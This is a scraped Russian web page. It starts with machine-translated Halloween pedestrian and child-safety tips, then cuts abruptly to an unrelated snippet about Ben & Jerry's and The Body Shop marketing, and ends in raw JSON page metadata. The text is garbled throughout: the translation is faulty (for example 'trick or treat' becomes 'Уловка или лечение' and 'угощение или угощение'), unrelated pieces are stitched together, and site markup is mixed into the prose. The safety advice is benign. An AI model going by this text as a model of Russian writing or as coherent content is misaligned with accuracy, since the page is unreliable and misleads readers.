  • Будьте внимательны к опасности удушья особенно у детей младшего возраста. Маленькие леденцы, арахис и жевательная резинка могут стать серьезной угрозой для маленьких детей.

Уловка или лечение

Уловка или угощение на Хэллоуин — это большое развлечение, но оно также представляет дополнительные опасности, которых обычно не бывает в другие ночи в году. Тысячи пешеходов получают травмы каждый Хэллоуин, борясь с автомобилями за место на дорогах и тротуарах и вокруг них.Вот несколько советов, которые помогут вам безопасно перемещаться в сопровождении маленьких призраков и гоблинов:

  • Родители всегда должны присматривать за детьми младше 12 лет , угощая детей, которые могут не ценить транспортное средство и другие опасности в их волнении на Хэллоуин.
  • Спланируйте заранее , куда вы пойдете, чтобы обеспечить наиболее безопасный маршрут.
  • Если детей старшего возраста выбыли одни, заранее договоритесь о том, куда они пойдут и по какому маршруту они выберут, и регулярно поддерживайте связь по мобильному телефону.
  • Постарайтесь ограничить «угощение или угощение» хорошо освещенными участками и всегда держите при себе фонарик, чтобы освещать тротуары и места для прогулок, а также предупреждать водителей о вашем присутствии.
  • Всегда ходить по тротуарам если возможно. Если нет тротуаров, идите навстречу движению как можно дальше от машин.
  • Всегда смотрите в обе стороны, прежде чем переходить улицу, и по возможности используйте пешеходные переходы.
  • Хотя пешеходов действительно имеют право проезда , многие водители не соблюдают это правило или могут не увидеть ребенка в темном костюме, пока не стало слишком поздно.Пешеходу очень важно постоянно следить за автомобилями и другими транспортными средствами на проезжей части или рядом с ней. Следуйте всем светофорам, используйте пешеходные переходы, где это возможно, и всегда будьте бдительны.

Сделайте счастливые воспоминания о Хеллоуине в этом году и оставьте страшные вещи жутким звукам, рассказам о привидениях и ужасным костюмам, проявив внимание к безопасности от слова «бу!

Ben & Jerry’s Homemade Inc. | Американская компания

В маркетинге: вклад маркетинга в жизнь людей и общества

… PLC, базирующаяся в Англии, и Ben & Jerry’s Homemade Inc., которая производит мороженое и базируется в американском штате Вермонт. Косметика и средства личной гигиены Body Shop на основе натуральных ингредиентов продаются в переработанной упаковке. Продукты сформулированы без испытаний на животных, и процент…

Подробнее »,« url »:« Introduction »,« wordCount »: 0,« sequence »: 1},« imarsData »: {« HAS_REVERTED_TIMELINE »:« false «,» INFINITE_SCROLL «:» «},» npsAdditionalContents «: {},» templateHandler «: {» name «:» INDEX «,» metered «: false},» paginationInfo «: {» previousPage «: null,» nextPage «: null,» totalPages «: 1},» seoTemplateName «:» PAGINATED INDEX «,» toc «: null,» infiniteScrollList «: [{» p «: 1,» t «: 60275}],» breadcrumb «: null, «familyBarLinks»: [{«title»: «Article», «url»: «/ topic / Ben-and-Jerrys-Homemade-Inc», «pageType»: «Topic»}], «byline»: { «участник»: null, «allContributorsUrl»: null, «lastModificationDate»: null, «contentHistoryUrl»: null, «warningMessage»: null, «warningDescription»: null}, «citationInfo»: {«участники»: null, «title «:» Ben & Jerry’s Homemade Inc.